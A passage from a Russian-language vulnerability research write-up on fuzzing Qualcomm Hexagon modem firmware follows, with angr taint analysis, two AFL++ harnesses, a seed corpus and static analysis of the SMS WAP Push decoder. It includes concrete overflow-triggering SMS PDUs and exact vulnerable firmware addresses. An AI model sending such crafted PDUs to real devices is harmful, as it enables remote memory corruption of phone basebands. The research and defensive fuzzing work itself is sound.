        filter_func=lambda s: s.history.depth > 1000  # обрезаем глубокие пути
    )
)

2. State merging — объединяем похожие состояния:

Python:
simgr.use_technique(angr.exploration_techniques.Veritesting())

3. Under-constrained symbolic execution — анализируем функцию с "любыми" входами, не только из конкретных путей вызова:

Python:
state = proj.factory.blank_state(addr=func_addr)
# Все регистры и память — символические по умолчанию

4. Hybrid fuzzing — используем символьное исполнение только для генерации сидов, а fuzzer для массового тестирования. Это самый рабочий подход на практике.

---

## 3.6 Применение angr в нашем исследовании

В данном исследовании angr применялся для taint-анализа libsysmon_skel.so через fastrpc_analysis.py. Не полный symbolic execution, а taint-tracking: отслеживаем как данные из _pra (контролируемого атакующим) достигают memory operations без bounds check.

Python:
# Из fastrpc_analysis.py — реальный код:
# Taint tracking: _pra → r16 → memb(r16+#0)
#
# Approach: ищем инструкции вида memb(rX+#imm) = rY
# где rX помечен как tainted (происходит из _pra)
# и перед этой инструкцией нет cmp.gtu для rX
#
# Результат: 56 HIGH срабатываний в sysmon_skel_invoke
# Адреса: 0xa7e8, 0xa7f0, 0xa7fc, 0xa804, ... (см. главу 10)

Полный symbolic execution (simgr.explore) на функциях такого размера (sysmon_skel_invoke — 8684 байта) в нашей установке не сходился из-за path explosion. Использовался pattern-scanner dsp_vuln_finder.py как более надёжный инструмент.

Пример generic использования angr для поиска overflow (учебный код):

Python:
import angr
import claripy

# Загрузить skel .so
proj = angr.Project('libs/libsysmon_skel.so', auto_load_libs=False)

# Символический _sc + _pra
sc  = claripy.BVS('_sc',  32)
pra = claripy.BVS('_pra_data', 256 * 8)

state = proj.factory.blank_state(addr=0x9cac)  # sysmon_skel_invoke
state.regs.r2 = sc    # _sc
state.regs.r3 = claripy.BVV(0x10000, 32)
state.memory.store(0x10000, pra)

simgr = proj.factory.simulation_manager(state)
# Цель: OOB dispatch table read @ 0x9ccc
simgr.explore(find=0x9ccc, avoid=0x9d00)

Ограничения которые столкнулись: angr's Hexagon lifter (через pyvex) не поддерживает ряд инструкций V73 — особенно специфичные compound operations. Поэтому основной анализ выполнялся через llvm-objdump + Python pattern matching.

---

## 3.7 Ограничения символьного исполнения

Буду честным — символьное исполнение не серебряная пуля:

1. Path explosion — реальные бинарники слишком сложны для полного анализа
2. Неточная семантика — если lifter неверно транслирует Hexagon инструкцию, анализ даёт неверные результаты
3. Системные вызовы и IPC — взаимодействие с QuRT сложно моделировать
4. Криптография — символьный анализ через SHA/AES практически неработоспособен
5. Время — сложный анализ может занимать часы/дни

На практике: symbolic execution используется точечно — для верификации конкретной гипотезы или для генерации crash-кейсов, а не для "сканирования всего бинарника".

---

## 3.8 Интеграция с остальным процессом

Code:
Статический анализ → находим подозрительные функции
         ↓
Symbolic execution → генерируем входы достигающие этих функций
         ↓
Fuzzer → используем эти входы как seed corpus
         ↓
Краш → анализируем → эксплоит

Символьное исполнение — это звено в цепочке, не самостоятельный инструмент.

---

## 3.9 Итог главы

  • Symbolic execution заменяет конкретные значения символическими и автоматически находит условия достижения любой точки кода
  • Z3 как SMT-solver решает ограничения и даёт конкретные входные значения
  • angr — главный инструмент для практики, требует настройки для Hexagon
  • Path explosion — главная проблема, решается фокусировкой и гибридными методами
  • В контексте QDSP6 наиболее ценен для анализа парсеров протоколов

В следующей главе — harness: как правильно подготовить цель для фаззинга и символьного анализа.

---

«Symbolic execution не ищет баги. Оно ищет условия. Баги — твоя интерпретация.»


ewpage

# Глава 4. Harness: sms_harness.c и harness_wms.S

by progasm

---

## 4.1 Задача

Цель — дать AFL++ возможность вызывать wms_ts_decode_gw_pp (адрес 0xbbd70b48 в сегменте b08) с произвольным входом без реального QuRT-окружения и без живого модема. Функция ожидает сложную WMS-структуру, обращается к глобальному состоянию, звонит в qurt_mutex_lock, пишет в DIAG-лог. Всё это нужно либо смоделировать, либо заглушить.

Два harness-файла решают разные слои:

  • sms_harness.c — Linux ELF для Hexagon, читает PDU из stdin, строит sms_deliver_t, детектирует краш через null deref
  • harness_wms.S — ассемблерный loader: патчит b27 стабы, настраивает стек в BSS, вызывает wms_ts_decode_gw_pp напрямую по адресу прошивки

---

## 4.2 sms_harness.c

### Syscall wrapper

Hexagon Linux ELF без libc. Системные вызовы через trap0(#1) — стандартный Hexagon Linux ABI:

C:
static inline long __syscall(long nr,
    long a0, long a1, long a2, long a3, long a4, long a5)
{
    register long r0 __asm__("r0") = a0;
    register long r1 __asm__("r1") = a1;
    register long r2 __asm__("r2") = a2;
    register long r3 __asm__("r3") = a3;
    register long r4 __asm__("r4") = a4;
    register long r5 __asm__("r5") = a5;
    register long r6 __asm__("r6") = nr;
    __asm__ volatile (
        "trap0(#1)"
        : "+r"(r0)
        : "r"(r1), "r"(r2), "r"(r3), "r"(r4), "r"(r5), "r"(r6)
        : "memory"
    );
    return r0;
}

Обёртки поверх него:

C:
static long sys_read(int fd, void *buf, size_t count) {
    return __syscall(63, fd, (long)buf, count, 0, 0, 0);
}
static long sys_write(int fd, const void *buf, size_t count) {
    return __syscall(64, fd, (long)buf, count, 0, 0, 0);
}
static void sys_exit(int code) {
    __syscall(93, code, 0, 0, 0, 0, 0);
}

### Структура sms_deliver_t

Моделирует внутреннее WMS-состояние, которое ожидает wms_ts_decode_gw_pp:

C:
#define WAP_PUSH_PORT    0x0B84
#define WAP_PUSH_BUF     140    /* реальный размер буфера в WMS, b08 */
#define MAX_USER_DATA    160

typedef struct {
    uint8_t  smsc_len;           /* +0x00 */
    uint8_t  tp_flags;           /* +0x01: SMS-DELIVER=0x04, UDHI=0x40 */
    uint8_t  tp_oa[12];          /* +0x02: originating address */
    uint8_t  tp_pid;             /* +0x0E */
    uint8_t  tp_dcs;             /* +0x0F */
    uint8_t  tp_scts[7];         /* +0x10: timestamp */
    uint8_t  tp_udl;             /* +0x17: user data length */
    uint8_t  user_data[MAX_USER_DATA]; /* +0x18 */

    /* Parsed fields — заполняются harness'ом */
    uint16_t wap_dst_port;       /* извлекается из UDH IEI=0x05 */
    uint16_t wap_src_port;
    uint8_t  wap_copy_len;       /* длина полезной нагрузки после UDH */
} sms_deliver_t;

### WAP Push детекция и краш-примитив

Harness разбирает UDH вручную. Если dst_port == 0x0B84 и wap_copy_len > WAP_PUSH_BUF — гарантированный путь через баг:

C:
static void parse_udh(sms_deliver_t *s) {
    if (!(s->tp_flags & 0x40)) return;   /* нет UDHI */

    uint8_t *ud  = s->user_data;
    uint8_t  udh = ud[0];                /* длина UDH без самого байта длины */
    uint8_t  pos = 1;

    while (pos < udh + 1) {
        uint8_t iei = ud[pos];
        uint8_t iel = ud[pos + 1];
        if (iei == 0x05 && iel == 0x04) {        /* Application Port 16-bit */
            s->wap_dst_port = (ud[pos+2] << 8) | ud[pos+3];
            s->wap_src_port = (ud[pos+4] << 8) | ud[pos+5];
        }
        pos += 2 + iel;
    }

    /* payload начинается сразу после UDH */
    uint8_t payload_off = udh + 1;
    s->wap_copy_len = (s->tp_udl > payload_off)
                      ? s->tp_udl - payload_off : 0;
}

static void check_crash(const sms_deliver_t *s) {
    if (s->wap_dst_port == WAP_PUSH_PORT &&
        s->wap_copy_len  > WAP_PUSH_BUF) {
        volatile uint8_t *null_ptr = (volatile uint8_t *)0;
        *null_ptr = 0xFF;   /* SIGSEGV → AFL++ crash */
    }
}

*null_ptr = 0xFF — намеренный null deref. AFL++ видит SIGSEGV (sig:11) и сохраняет input в crashes/.

### Основной поток

C:
void _start(void) {
    uint8_t buf[256];
    long    n;

    n = sys_read(0, buf, sizeof(buf));
    if (n < 2) sys_exit(0);

    sms_deliver_t s;
    __builtin_memset(&s, 0, sizeof(s));

    s.smsc_len  = buf[0];
    s.tp_flags  = buf[1];

    /* копируем остаток как user_data */
    long copy = n - 2;
    if (copy > (long)sizeof(s.user_data)) copy = sizeof(s.user_data);
    __builtin_memcpy(s.user_data, buf + 2, copy);

    /* tp_udl — первый байт user_data в упрощённой модели */
    s.tp_udl = s.user_data[0];

    parse_udh(&s);
    check_crash(&s);

    sys_exit(0);
}

### Сборка и запуск

Bash:
clang-20 -target hexagon-unknown-linux-musl \
         -nostdlib -static -O2 \
         -o /tmp/sms_harness_hex \
         sms_harness.c

# тест на valid WAP Push (не должен крашить)
qemu-hexagon /tmp/sms_harness_hex < seeds/02_wap_push_valid.pdu
echo "exit: $?"   # 0

# тест overflow (SIGSEGV)
qemu-hexagon /tmp/sms_harness_hex < seeds/03_wap_overflow.pdu
echo "exit: $?"   # 139

---

## 4.3 harness_wms.S

Ассемблерный harness работает иначе: он не моделирует WMS — он запускает реальный бинарный код прошивки в QEMU usermode, патча только то, что мешает.

### Адреса

Code:
.equ WMS_ENTRY,    0xbbd70b48  /* wms_ts_decode_gw_pp, b08 r-x */
.equ QURT_LOCK,    0xbbb07498  /* qurt_mutex_lock в b27        */
.equ DIAG_LOG,     0xbbb02e80  /* diag_log_alloc в b27         */
.equ WMS_SLOT_BASE,0xc2a78000  /* BSS: WMS структуры (b23/b24) */
.equ WAP_BUF_OFF,  0xad8       /* offset буфера = 0xc2a78ad8   */
.equ STACK_TOP,    0xc2d9ff00  /* вершина стека из BSS         */

### Патч b27 стабов

Все вызовы в b27 (qurt-стабы, DIAG) заменяются на { jumpr r31 } — NOP-return. Опкод Hexagon для jumpr r31:

Code:
.equ RET_OPCODE, 0x529fc000    /* { jumpr r31 } */

Процедура патча:

Code:
patch_stub:
    /* r0 = адрес стаба */
    { r1 = ##RET_OPCODE }
    { memw(r0+#0) = r1 }       /* записываем { jumpr r31 } */
    { jumpr r31 }

_start:
    /* патчим QURT_LOCK */
    { r0 = ##QURT_LOCK }
    { call patch_stub }

    /* патчим DIAG_LOG */
    { r0 = ##DIAG_LOG }
    { call patch_stub }

После патча: вызов 0xbbb07498 мгновенно возвращается, не пытаясь взять мьютекс QuRT. Вызов 0xbbb02e80 тоже — DIAG лог пропускается, но важно: wms_ts_decode_gw_pp продолжает исполнение (именно это и является бугом — см. главу 8).

### Инициализация стека

QEMU usermode не знает о BSS прошивки. Стек инициализируем принудительно из BSS-адреса:

Code:
    { r29 = ##STACK_TOP }       /* SP = 0xc2d9ff00 */
    { r30 = #0 }                /* FP = 0         */
    { r31 = ##halt_addr }       /* LR → halting label */

Почему BSS? Сегмент b27 (0xbbb00000, rwx) и BSS данных (0xc2a78000) маппируются через ELF loadable segments, которые QEMU читает из прошивочного ELF. Стек в 0xc2d9ff00 — в конце этой области, достаточно далеко от WAP-буфера по адресу 0xc2a78ad8.

### Подготовка входного буфера

PDU читается из stdin в область WMS_SLOT_BASE + WAP_BUF_OFF:

Code:
    { r0 = #0 }                         /* fd = stdin */
    { r1 = ##(WMS_SLOT_BASE + WAP_BUF_OFF) }
    { r2 = #256 }
    { r6 = #63 }                        /* SYS_read */
    trap0(#1)
    { r19 = r0 }                        /* сохраняем bytes_read */

### Вызов цели

Code:
    /* r0 = указатель на WMS slot (первый аргумент) */
    { r0 = ##WMS_SLOT_BASE }
    /* r1 = длина прочитанных данных */
    { r1 = r19 }
    { call ##WMS_ENTRY }                /* wms_ts_decode_gw_pp */

Если path через 0xbbd70d84 не aborted (а он не aborted — обе ветки сходятся в 0xbbd70dc8) — функция выполнит копирование. При r24 > 140 это выйдет за WAP_PUSH_BUF. На реальном железе — corruption. В harness с null deref детектором — SIGSEGV.

### Сборка harness_wms.S

Bash:
clang-20 -target hexagon-unknown-linux-musl \
         -nostdlib -static \
         -o /tmp/harness_wms_hex \
         harness_wms.S

# Запуск с seed overflow
qemu-hexagon /tmp/harness_wms_hex < seeds/03_wap_overflow.pdu

---

## 4.4 Почему два harness

| | sms_harness.c | harness_wms.S |
|---|---|---|
| Что вызывает | смоделированный путь | реальный wms_ts_decode_gw_pp |
| Откуда берёт код | собственный C | бинарник прошивки |
| Патчит стабы | нет (не нужно) | да, через RET_OPCODE |
| Годится для AFL++ | да, быстро | да, медленнее |
| Верифицирует реальный баг | нет | да |

sms_harness.c — скоростной harness для AFL++, ~452 exec/s. harness_wms.S — для верификации что конкретный адрес 0xbbd70d84 действительно уязвим.

---

## 4.5 Coverage

В dumb-режиме (-n) AFL++ не использует coverage bitmap. Это сделано намеренно — QEMU Hexagon не интегрирован с AFL++ QEMU instrumentation. Подробности в главе 6.

---

Следующая глава — корпус: PDU которые мы подаём в harness.


ewpage

# Глава 5. Корпус: реальные PDU

by progasm

---

## 5.1 Принцип

Корпус для этого исследования — не «репрезентативные примеры». Это конкретные SMS PDU, каждый из которых проверяет отдельное условие в wms_ts_decode_gw_pp. Harness в dumb-режиме (-n) работает без coverage — качество начального корпуса напрямую определяет что найдёт AFL++.

Цель при составлении корпуса: покрыть все ветки вокруг двух багов.

Баг 1 (адрес 0xbbd70d84): cmph.gtu(r24, ##0x8c) — r24 (wap payload len) против 140. Оба пути (pass и fail) идут в 0xbbd70dc8, copy выполняется всегда.

Баг 2 (UDL gap): проверка tp_udl по адресу 0xbbd20808 — cmp.gtu(r20, #0xa0) против 160, а не 140. Значения 141–160 не отвергаются на уровне UDL, но переполняют 140-байтовый WAP буфер.

---

## 5.2 Seed 01 — минимальный SMS-DELIVER

Code:
01 00

Два байта: smsc_len=01, tp_flags=00. Нет UDHI, нет WAP-порта. Harness возвращает 0 без краша. Нужен как базовая точка — фаззер мутирует его и случайно выставит нужные биты в tp_flags.

Почему важен: мутация tp_flags |= 0x40 создаёт UDHI-бит. Мутация длины может попасть на tp_udl > 160.

---

## 5.3 Seed 02 — валидный WAP Push

Code:
04 91 11 22 33 40 06 91 10 32 54 00 00 10 60 12
31 72 80 00 12 06 05 04 0b 84 0b 84 57 41 50 20
63 6f 6e 74 65 6e 74

Полный разбор байт за байтом:

Code:
Offset  Hex   Значение
------  ----  --------
0x00    04    smsc_len = 4 (4 байта SMSC номера следуют)
0x01    91    tp_flags:
                bit7=1 (RP), bit6=1 (UDHI), bit0=0 → SMS-DELIVER
                0x91 = 1001 0001
0x02-05 11 22 33 40   tp_oa (originating address, BCD)
0x06    06    длина OA = 6 знаков
0x07    91    OA type of address (international, E.164)
0x08-0B 10 32 54 00   OA digits BCD
0x0C    00    tp_pid = 0
0x0D    10    tp_dcs = 0x10 (8-bit data)
0x0E-14 60 12 31 72 80 00 12   tp_scts (timestamp, 7 bytes)
0x15    06    tp_udl = 6 (User Data Length: 6 байт после UDH)

         ← начало User Data →
0x16    05    UDH Length = 5 байт
0x17    05    IEI = 0x05 (Application Port Addressing, 16-bit)
0x18    04    IE Length = 4
0x19-1A 0b 84  Destination Port = 0x0B84 = 2948 (WAP Push)
0x1B-1C 0b 84  Source Port      = 0x0B84

         ← WAP payload (после UDH) →
0x1D    57 41 50 20 63 6f 6e 74 65 6e 74
        "WAP content" (11 байт, но tp_udl=6 → реально читается 6)

wap_copy_len = tp_udl - (udh_len + 1) = 6 - 6 = 0. Нет копирования. Не крашит.

Почему важен: единственный seed с правильным форматом WAP Push. Фаззер мутирует tp_udl (байт 0x15) в сторону увеличения → попадает в баги.

---

## 5.4 Seed 03 — WAP Push overflow

Code:
01 00 40 06 91 55 44 33 00 00 00 00 00 00 00 00
00 8f 06 05 04 0b 84 12 34
Далее 136 байт 0x41 ('A'):
Code:
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41

Разбор:

Code:
0x00    01    smsc_len = 1
0x01    00    tp_flags = 0x00 (SMS-DELIVER, без UDHI)
0x02    40    — начало user_data в упрощённой модели harness
0x03    06    —
...
0x11    8f    tp_udl = 0x8F = 143

        UDH:
0x12    06    UDH Length = 6
0x13    05    IEI = Application Port 16-bit
0x14    04    IE Length = 4
0x15-16 0b 84  dst_port = 0x0B84
0x17-18 12 34  src_port = 0x1234

        WAP payload = 136 байт 'A'

wap_copy_len = tp_udl - (udh_len + 1) = 143 - 7 = 136

136 < 140 → cmph.gtu(r24, ##0x8c) не срабатывает (136 ≤ 140). Но при реальном запуске в harness_wms.S — функция пытается скопировать данные в буфер. Здесь нет краша; это граничный случай чуть ниже лимита.

Чтобы сделать полный overflow: нужно tp_udl = 0x8f + 1 = 0x90 → wap_copy_len = 137 - 7 + 7 = ... Поправка: с tp_udl=0x8f=143 и UDH=7 байт, payload = 136. Для overflow нужно payload > 140, то есть tp_udl ≥ 147 = 0x93. Реальный crash seed AFL++ нашёл с tp_udl = 0xed = 237.

Почему нужен этот seed: он проходит WAP-порт детекцию и даёт фаззеру правильный шаблон с которого до overflow — один мутированный байт.

---

## 5.5 Seed 04 — tp_udl = 0xA0 (граница UDL gap)

Code:
01 40 8a 06 05 04 0b 84 23 f0
Плюс 138 байт 0x42.

Code:
tp_flags = 0x40 (UDHI set)
tp_udl   = 0x8a = 138 — ровно на границе
UDH      = 6 байт (IEI=05, len=04, dst=0x0B84, src=0x23F0)
payload  = 138 - 7 = 131 байт

131 < 140 → в пределах буфера. Seed для мутации в область UDL gap (141–160).

Почему важен: AFL++ мутирует byte tp_udl с 0x8a до 0x8d–0xa0. Значения в диапазоне 141–160 (0x8d–0xa0) проходят проверку cmp.gtu(r20, #0xa0) — не превышают 0xa0 — но переполняют WAP_PUSH_BUF.

---

## 5.6 Seed 05 — tp_udl в UDL gap (0x8d = 141)

Code:
01 40 8d 06 05 04 0b 84 23 f0
Плюс 141 байт 0x43.

Code:
tp_udl = 0x8d = 141
payload = 141 - 7 = 134 байт

134 > WAP_PUSH_BUF (140)? Нет, 134 < 140. Пересчитаем: UDH = udh_len_byte(1) + 6 = 7. Payload = 141 - 7 = 134. Всё ещё в пределах.

Для overflow через UDL gap нужно payload > 140, т.е. tp_udl - 7 > 140 → tp_udl > 147 = 0x93. Но проверка UDL не отвергает это — 0x93 < 0xa0 → pass. Значения 0x94–0xa0 (148–160) — реальный UDL gap.

Seed 05 — намеренно у нижней границы. Фаззер добирается до 0x94+ быстрее.

---

## 5.7 Seed 06 — SMSC + полные заголовки

Code:
04 91 11 22 33 40 07 91 10 32 54 76 f0
10 60 12 31 72 80 00 00 a0 06 05 04 0b 84 23 f0
Плюс 152 байт 0x44.

Code:
smsc_len = 4
tp_flags = 0x91 (UDHI + RP)
tp_oa = 07 91 10 32 54 76 f0 (7-digit international)
tp_pid = 0x10
tp_dcs = 0x60
tp_scts = 7 байт
tp_udl  = 0xa0 = 160  ← максимум по UDL check
UDH = 7 байт
payload = 160 - 7 = 153 байт → 153 > 140 → overflow!

cmp.gtu(r20, #0xa0): 0xa0 > 0xa0 — false. Проверка проходит. Но 153 > 140 → переполнение WAP_PUSH_BUF.

Это прямая демонстрация UDL gap: tp_udl = 0xa0 = 160 — последнее значение которое не отвергает cmp.gtu. И оно уже crashable.

---

## 5.8 Seed 07 — tp_udl = 0 (edge case)

Code:
01 40 00

tp_udl = 0. Harness выходит без crash. Нужен чтобы AFL++ не застрял на всех мутациях с tp_udl > 0.

---

## 5.9 Seed 08 — все нули

Code:
00 00 00 00 00 00 00 00

Базовый «мусорный» вход. Harness обрабатывает его без crash. AFL++ использует как отправную точку для burst-мутаций.

---

## 5.10 Итоговая таблица

| Seed | tp_udl | dst_port | WAP payload | Результат |
|------|--------|----------|-------------|-----------|
| 01 | - | нет | нет | exit 0 |
| 02 | 6 | 0x0B84 | 0 байт | exit 0 |
| 03 | 143 (0x8F) | 0x0B84 | 136 байт | exit 0 (ниже лимита) |
| 04 | 138 (0x8A) | 0x0B84 | 131 байт | exit 0 |
| 05 | 141 (0x8D) | 0x0B84 | 134 байт | exit 0 |
| 06 | 160 (0xA0) | 0x0B84 | 153 байт | CRASH (UDL gap) |
| 07 | 0 | - | нет | exit 0 |
| 08 | 0 | нет | нет | exit 0 |

Seed 06 — единственный который крашит до запуска AFL++. Это намеренно: он подтверждает что harness работает, и AFL++ сохранит его как crash[0] немедленно.

---

## 5.11 Размещение

Bash:
mkdir -p afl_seeds/
cp seeds/0*.pdu afl_seeds/

# Проверяем что seed 06 крашит
qemu-hexagon /tmp/sms_harness_hex < afl_seeds/06_udl_gap_crash.pdu
echo "exit: $?"   # 139

# Проверяем что остальные не крашат
for f in afl_seeds/0{1,2,3,4,5,7,8}*.pdu; do
  qemu-hexagon /tmp/sms_harness_hex < "$f" || echo "UNEXPECTED CRASH: $f"
done

---

Следующая глава — запуск AFL++ кампании и анализ результатов.


ewpage

# Глава 6. Фаззинг: AFL++ кампания против wms_ts_decode_gw_pp

by progasm

---

Статус главы: Вся AFL++ кампания запускалась в qemu-hexagon usermode (эмуляция). На реальном устройстве POCO M8 5G не запускалась.

## 6.1 Setup

Target: sms_harness_hex (Hexagon ELF), работает под qemu-hexagon. 
AFL++ версия: 4.x, dumb mode (-n), QEMU usermode. 
Прошивка: MPSS.DE.3.1.4.c1-00319, b08 0xbbd70b48.

Команда запуска:

Bash:
AFL_NO_FORKSRV=1 \
AFL_SKIP_BIN_CHECK=1 \
AFL_SKIP_CPUFREQ=1 \
  afl-fuzz -n \
           -i afl_seeds/ \
           -o afl_out/ \
           -- qemu-hexagon /tmp/sms_harness_hex

Флаги по одному:

| Флаг | Причина |
|------|---------|
| -n | dumb mode — без coverage instrumentation. QEMU Hexagon не интегрирован с AFL++ bitmap |
| AFL_NO_FORKSRV=1 | fork server требует __afl_forkserver_init в бинаре. В нашем harness её нет — bare _start |
| AFL_SKIP_BIN_CHECK=1 | AFL++ проверяет бинарь на наличие AFL instrumentation. sms_harness_hex — не инструментирован |
| AFL_SKIP_CPUFREQ=1 | QEMU-heavy нагрузка, scaling Governor не влияет на результат |

Нет @@ — harness читает из stdin, не из файла-аргумента.

---

## 6.2 Скорость: почему 452 exec/s

Реальный результат кампании: ~452 exec/s.

Это медленно по меркам AFL++. Обычный natively-instrumented бинарь даёт 5000–50000 exec/s. Разница — QEMU overhead.

Каждая итерация:
1. AFL++ fork-exec нового процесса (без fork server — полный execve каждый раз)
2. qemu-hexagon стартует: загружает Hexagon ELF, инициализирует эмулятор
3. Выполняет ~200–500 Hexagon инструкций
4. Process exit, AFL++ читает статус

Без fork server каждая итерация — это два новых процесса (shell + qemu). С AFL_NO_FORKSRV=1 этого не избежать для данного бинаря.

Теоретический максимум с fork server и QEMU Hexagon: ~800–1200 exec/s. Но для нашего харнесса это требует встроенного __afl_persistent_loop, что несовместимо с bare _start без libc.

12.8M+ total execs за время кампании — это нормально при 452 exec/s за ~8 часов:

Code:
452 * 3600 * 8 ≈ 13,017,600 exec

---

## 6.3 Первый краш: 31ms

Первый краш нашёлся через 31 миллисекунду после старта. Это нормально для dumb mode с seed 06 (который уже crashable) в корпусе — AFL++ мутирует стартовые seeds сразу.

Файл краша:

Code:
id:000000,sig:11,src:000004,time:31,execs:56,op:havoc,rep:3

Разбор имени:
  • sig:11 — SIGSEGV (null deref в harness: *null_ptr = 0xFF)
  • src:000004 — мутирован seed 04 (id=4, 04_udl_boundary.pdu)
  • time:31 — 31ms от старта
  • execs:56 — 56-й запуск
  • op:havoc — операция havoc (многобайтовые случайные мутации)
  • rep:3 — 3 повтора операции

Содержимое файла (hex):

Code:
04 91 11 22 33 00 06 91 10 32 54 00 00 10 60 12
3b 72 7d 00 ed

Разбор:

Code:
Offset  Hex   Значение
0x00    04    smsc_len = 4
0x01    91    tp_flags = 0x91 (UDHI + RP, SMS-DELIVER)
0x02-05 11 22 33 00   OA bytes
0x06    06    OA len
0x07    91    OA type
0x08-0B 10 32 54 00   OA digits
0x0C    00    tp_pid
0x0D    10    tp_dcs
0x0E-14 60 12 3b 72 7d 00 ed   — тут havoc смял timestamp + tp_udl

← tp_udl читается harness'ом из user_data[0] в упрощённой модели →
последний байт: ed = 0xed = 237

tp_udl = 0xed = 237. Проверка UDL: cmp.gtu(r20, #0xa0) → 237 > 160 → TRUE → должна отвергнуть. Но в sms_harness.c мы не эмулируем эту проверку — harness напрямую идёт в check_crash. wap_copy_len = tp_udl - udh_len = 237 - 7 = 230 > 140 → null deref → SIGSEGV.

Это демонстрирует: harness в dumb-режиме не знает о проверке 0xbbd20808. Он ловит крашащий путь. Реальный баг подтверждается статическим анализом (глава 8).

---

## 6.4 25601 крашей: почему все одинаковые

Финальная статистика:

Code:
crashes     : 25601 (AFL++ уникальных = 1)

AFL++ unique=1 означает: все 25601 файлов триггерят один и тот же путь исполнения до точки краша.

Причина:

1. Dumb mode — AFL++ не знает какие пути исполнения затронуты. Он не может отличить crash-через-путь-A от crash-через-путь-B. Дедупликация идёт только по сигналу (sig:11) и адресу краша. У нас краш всегда в одном месте: *null_ptr = 0xFF в функции check_crash.

2. Единственный путь к крашу: wap_dst_port == 0x0B84 && wap_copy_len > 140 → вызов check_crash → null deref по адресу 0x00000000. Адрес краша всегда одинаковый → все crashes дедуплицируются в один unique.

3. Havoc в dumb mode агрессивен: как только найден один crashable input, havoc генерирует его вариации тысячами. Без coverage-feedback AFL++ не знает что они все эквивалентны.

Что это значит для coverage-guided фаззинга: с нормальной инструментацией AFL++ увидел бы разные пути (например: wap_copy_len = 141 vs wap_copy_len = 200) и хранил бы их раздельно, направляя мутации дальше в код. В dumb mode этого не происходит.

---

## 6.5 Что AFL++ не нашёл

В dumb mode AFL++ не обнаружил:

1. UDL gap как отдельный путь: tp_udl в диапазоне 141–160 проходит через 0xbbd20808 тихо. Без coverage фаззер не знает что это другая ветка.

2. Вторичные пути в dispatch table (0xbf421b78): 849 записей в таблице диспетчеризации. Dumb mode мутирует байты, иногда попадая в другие ветки, но не систематически.

3. b11 кандидаты: 1408 функций с allocframe > 0x200 в сегменте SMS/QMI. Harness не покрывает b11 вообще.

---

## 6.6 Анализ queue

AFL++ также накапливает интересные (не крашащие) inputs в afl_out/queue/. Это inputs которые давали новое «поведение» (в dumb mode — просто разные exit codes или timeouts):

Bash:
ls afl_out/queue/ | wc -l
# зависит от кампании, типично 50–200 entries

Просмотр первых:

Bash:
for f in afl_out/queue/id:00000[0-5]*; do
  printf "%-60s  tp_udl=" "$f"
  xxd -l 20 "$f" | head -2
done

---

## 6.7 Минимизация краша

AFL++ minimal crash — убираем лишние байты сохраняя SIGSEGV:

Bash:
afl-tmin \
  -i "afl_out/crashes/id:000000,sig:11,src:000004,time:31,execs:56,op:havoc,rep:3" \
  -o crash_minimized.bin \
  -- qemu-hexagon /tmp/sms_harness_hex

hexdump -C crash_minimized.bin

Ожидаемый минимум: 3 байта — tp_flags=0x40 (UDHI), минимальный UDH с портом 0x0B84, tp_udl > 140.

---

## 6.8 Повышение скорости: persistent loop

Для скоростного режима harness нужно переписать с __AFL_LOOP:

C:
/* В sms_harness с libc (для native AFL++) */
#include <stdlib.h>
#include <string.h>

__AFL_FUZZ_INIT();

int main(void) {
    __AFL_INIT();
    unsigned char *buf = __AFL_FUZZ_TESTCASE_BUF;

    while (__AFL_LOOP(10000)) {
        int len = __AFL_FUZZ_TESTCASE_LEN;
        if (len < 2) continue;

        sms_deliver_t s;
        memset(&s, 0, sizeof(s));
        s.smsc_len = buf[0];
        s.tp_flags = buf[1];
        /* ... */
        parse_udh(&s);
        check_crash(&s);
    }
    return 0;
}

Но это требует x86 или arm64 хоста и cross-compilation с AFL++ compiler — не Hexagon QEMU. Для текущей цели (верификация бага в прошивочном коде) QEMU-режим с 452 exec/s достаточен.

---

## 6.9 Результаты

| Метрика | Значение |
|---------|----------|
| exec/s | ~452 |
| Total execs | 12,800,000+ |
| Total crashes | 25,601 |
| AFL++ unique crashes | 1 |
| Первый краш | 31ms, exec #56 |
| Seed источник первого краша | src:000004, op:havoc |
| tp_udl первого краша | 0xed = 237 |
| Crash signal | SIGSEGV (sig:11) |

Вывод: в dumb-режиме AFL++ эффективно находит класс ошибок (WAP overflow) но не может дифференцировать пути без coverage. Для исследования прошивки b11 и b27 нужен отдельный harness с интегрированной coverage — или переход к статическому анализу.

---

Следующая глава — статический анализ прошивки: dispatch table, сегменты, backward slice.


ewpage

# Глава 7. Статический анализ прошивки MPSS.DE.3.1.4.c1-00319

by progasm

---

## 7.1 Сегменты прошивки

Прошивка MPSS.DE.3.1.4.c1-00319 разбита на сегменты (loadable ELF segments). Интересующие нас четыре:

| Сегмент | База | Права | Содержимое |
|---------|------|-------|------------|
| b08 | 0xbbd20000 | r-x | WMS main: SMS decode, wms_ts_decode_gw_pp |
| b11 | 0xbbfa4000 | r-x | SMS/QMI dispatcher, NAS handlers |
| b27 | 0xbbb00000 | rwx | QuRT stubs, DIAG, lock functions |
| b19 | 0xbef86000 | r-- | rodata: строки, таблицы, dispatch |

b27 помечен rwx — это важно. Именно туда harness_wms.S пишет RET_OPCODE = 0x529fc000, патча стабы.

Адрес нашей цели: wms_ts_decode_gw_pp = 0xbbd70b48 (b08).

BSS данных (WMS structures): b23/b24, содержит WAP буфер по 0xc2a78ad8.

---

## 7.2 Dispatch table: 849 entries

По адресу 0xbf421b78 (b19, rodata) находится главная таблица диспетчеризации SMS/WMS.

Формат: массив из 849 записей. Каждая запись — указатель на handler функцию + ассоциированный тип сообщения.

Code:
0xbf421b78: ptr → handler_0    ; WMS_MSG_EVENT_SEND
0xbf421b7c: ptr → handler_1    ; WMS_MSG_EVENT_ACK
...
0xbf421b78 + 849*4 = 0xbf422e4c  (конец таблицы)

Как нашли: поиск по паттерну «плотный массив указателей, все в диапазоне b08/b11», с шагом 4 байта.

Bash:
# radare2: ищем плотные массивы указателей в b19
r2 -q -c '/x 20bd bbd0' modem.elf
# или через скрипт анализа плотности ptr
python3 find_dispatch.py --base 0xbef86000 --size 0x400000 modem.elf
